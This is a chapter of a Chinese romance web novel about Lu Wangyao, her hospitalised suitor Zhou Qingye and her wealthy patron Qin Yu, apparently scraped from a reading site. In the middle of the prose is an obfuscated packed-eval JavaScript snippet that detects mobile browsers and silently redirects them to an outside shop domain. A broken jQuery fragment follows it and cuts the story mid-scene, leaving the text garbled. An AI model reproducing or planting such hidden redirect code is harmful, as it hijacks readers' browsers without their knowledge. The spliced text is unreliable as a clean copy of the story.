是做梦吗?
他还在做梦吗?
周轻也一时间有些错乱。
可身上的伤口却痛得十分清晰。
尤其是被束缚住的右手……绑带已经被搓成一根细细的带子,紧紧地勒住手腕,恨不得要嵌进皮肉里。
所以不是梦。
陆望遥绑住他,然后,亲了他?
荒唐的是,他心里居然一点反感都没有?
就像上次,被她狠狠按住伤处,心底升起的情绪,更多的居然是愉悦?
他脸颊发烫,刚要说些什么,却发现陆望遥已经转身走到了茶水柜旁边,重新给他盛了一碗粥。
“现在饿了么?”她舀起一勺,再次喂给他。
周轻也从善如流,低头吃掉。
她问:“好喝么?”
他的脸还火辣辣地发着烫,并不准备开口说话。
陆望遥却以蛊惑的声线哄着他:“说好喝。”
一个念头突然窜进他的脑海。
如果他乖乖照做……还会有奖励吗?
随即,他又非常厌恶自己。
这幅鬼样子被绑在这里、任人鱼肉,他居然还在关心会不会还会有奖励的事。
可是他的嘴巴比身体诚实,先一步开了口,“好喝。”
陆望遥轻笑,伸手将绑带解开——刚刚她有点生气了,故意绑得很紧。绑带已经在他腕上留下一圈红痕,有的地方甚至破皮渗血了。
她将绑带扔进垃圾桶:“乖。”
原来这就是奖励。
周轻也心想。
不解开也可以的。
……
与周轻也临港那个项目同时开启的,还有秦屿的超高层综合体项目。
综合体的主体结构已经开始施工,内部装潢的设计图却是改了又改。
午后,项目负责人坐在会议室里,提心吊胆地在跟秦屿汇报最新的进展。
“办公楼顶层的停机坪设计不变,65层至顶层为天际观光空间。至于多功能区……”负责人不动声色地看了眼秦屿,努力稳住颤抖的声线,“主视觉采用钢琴键主题,配套可升降台,既可以用作商务宴请,也可以用来召开大型会议。”
其实那些功能区的设计,千篇一律,没什么好汇报的。
重点在于“钢琴键主题”的主视觉。
众所周知,他们秦总有个会弹钢琴的白月光,这会儿正在茱莉亚学院进修。当初这个项目的设计灵感,也是“钢琴”。
可是现在……都说两个人分手了,女方也不打算再回国。
重新拾起这样的设计,是会一次通过,还是拍马屁拍到马蹄子上,谁心里也没底。
负责人展示完效果图,见秦屿正心不在焉地跟助理说话,心头更是打起鼓来。
而秦屿这边,在听到“钢琴”两个字之后,就把林啸叫到了身旁。
“教陆望遥的钢琴老师找到了么?”
林啸低声说:“找了京美的首席小提琴师,江相楷,他同意了。”
感受到会场安静下来,秦屿朝正在汇报的那人摆了摆手,示意他继续,又转身问林啸:“怎么是个拉小提琴的?”
“他主修钢琴专业,只是在小提琴领域也有很深的造诣。”
“嗯。”秦屿记得喻溪说过,京美是国内最顶尖的乐团。
能请到京美的团长,自然是好。
只是陆望遥那丫头……看着并不像有艺术细胞的。
也是杀鸡用了宰牛刀。
想来,他也有两天没见到她了。
他问:“她忙什么呢?”
林啸当然知道陆望遥是在医院给周轻也陪床。
不过,他可不想触他们秦总的霉头。
于是他说:“陆小姐这两天只是上班、回家休息,没什么别的。”
秦屿又问:“那笔钱她兑现了么?”
林啸顿了一下,才意识到他们秦总问的是那一百多万的支票。他颔首:“那天中午您走了之后,陆小姐就去兑现了。”
“沾钱的事儿她倒一点不含糊。”秦屿语气鄙夷,仰头喝了口咖啡。
林啸知道自己老板误会了,赶紧给他解释:“陆小姐分文没花,都存到她父母生前创立的基金会。”
“基金会?”秦屿的脸色更加不好看。
所以,他好心提前施舍给她的钱,她居然用来去重启那个什么基金会?
有一颗金子般的心,还有一个天使一样的人格?
他反正不信。
“晚上付明煦请吃饭,我打一晃就走。”秦屿吩咐林啸:“你约好江相楷,接上那丫头,再来接我。”
林啸问:“是去乐团还是?”
“去我家。”秦屿说:“我要听她练琴。”
……
接到林啸的电话时,陆望遥正坐在病房里切释迦。
她很喜欢吃这种水果,口感像冰激凌,味道也甜得不行。
原来经纪人不让她吃,现在要吃回本。
所以切好的水果只给周轻也两块,剩下的全都她自己吃。
周轻也对水果的分配没什么意见,只是听到是林啸打来的电话,耳朵就跟着竖了起来。
她讲电话时压低了声音,简单答应了几句就挂掉。
他实在好奇,所以停下吃水果的动作,就那么眼巴巴看着她:“又去找提款机?”
陆望遥被他的措辞逗笑,点点头,“是啊,吃完晚饭,去练钢琴。”
周轻也蹙起眉头,愈发不理解秦屿的行为模式。
找她只是为了跟她吃饭、听她弹钢琴。
这算是什么服务?
他思来想去,又问道:“那……你那提款机,最多能提多少钱啊?”
陆望遥坦然说:“五千万。”
周轻也的眉尾动了动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862833|212084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像是意料之中的一个数字。
随即,甚至有些许得意爬上他的眉梢。
毕竟……他可是花了7200万买下她祖宅的男人。
虽然他现在拿不出5000万来买断她。
好歹,他出资也比秦屿那个抠门的男人多。
他轻笑:“那算起来,我得是那个大股东。”
“可是秦屿要求的工作时间比你短啊。”陆望遥轻易撕碎他自我安慰的想法:“你看,我两三天才去一次,一次也就个把小时。算起来,我还是在他那时薪高。”
周轻也的笑容瞬间僵住。
陆望遥对他的反应很满意:这群男人,就欠反向管理。
最好她这三位老板能够内卷起来。
她还愁没有钱赚么?
半晌,周轻也释怀了。
“那你早点回来。要是太晚了就跟我说,我让宋明川去接你。”
“应该不会吧。”陆望遥抬起手,看了看自己的手指。
很匀称,但达不到钢琴家那样极致的纤细和修长。
她学不了那么长时间的。
晚饭后,林啸接上了她,并没直接送她去秦屿家,而是开着车把她带到了一个看起来很神秘的会所外面。
没有霓虹灯,没有宣传牌,甚至连个正式的门头都没有。
可是门口进进出出全是豪车,低调得很不简单。
陆望遥透过车窗向外看去:“不是说要练琴么?来这里做什么?”
林啸说:“秦总晚上有个酒局,不过应该不会太久。”
“这样啊。”陆望遥很知分寸,没继续问。
当然,她也懒得问。
秦屿在她心里,连个屁屁都不是。
他爱跟谁喝跟谁喝,爱什么时候出来就什么时候出来。
把她忘了才好了。
他这车里座椅舒服,什么都有,还暖和。
玩儿一两个小时手机,再让林啸把她送回去,这钱赚得多容易。
结果,还真的不幸被她言中。
过了一个多小时,秦屿都没出来。
而那个林啸,一如既往,跟个木头人一样,死死盯着会所的出口,生怕把老板给错过了。
陆望遥刷短视频刷得有点眼睛疼,于是把手机塞回提包里:“林啸,你也玩一会儿嘛。老在这干坐着多无聊啊。”
林啸自己没觉得有什么,倒听出了些言外之意,觉得是她无聊了。
他说:“秦总这个不是生意局。是娱乐圈里的人请他吃饭。照理说,应该快结束了。”
“娱乐圈?”陆望遥瞬间想起了她的3号男嘉宾。
正如一本霸道总裁文里,只能有一个霸总一样。
一本娱乐圈文里,也只能有一个顶流影帝。
她挑起眉毛,问林啸:“难道是那个……付明煦?”
她的1号、3号男嘉宾,要碰面了?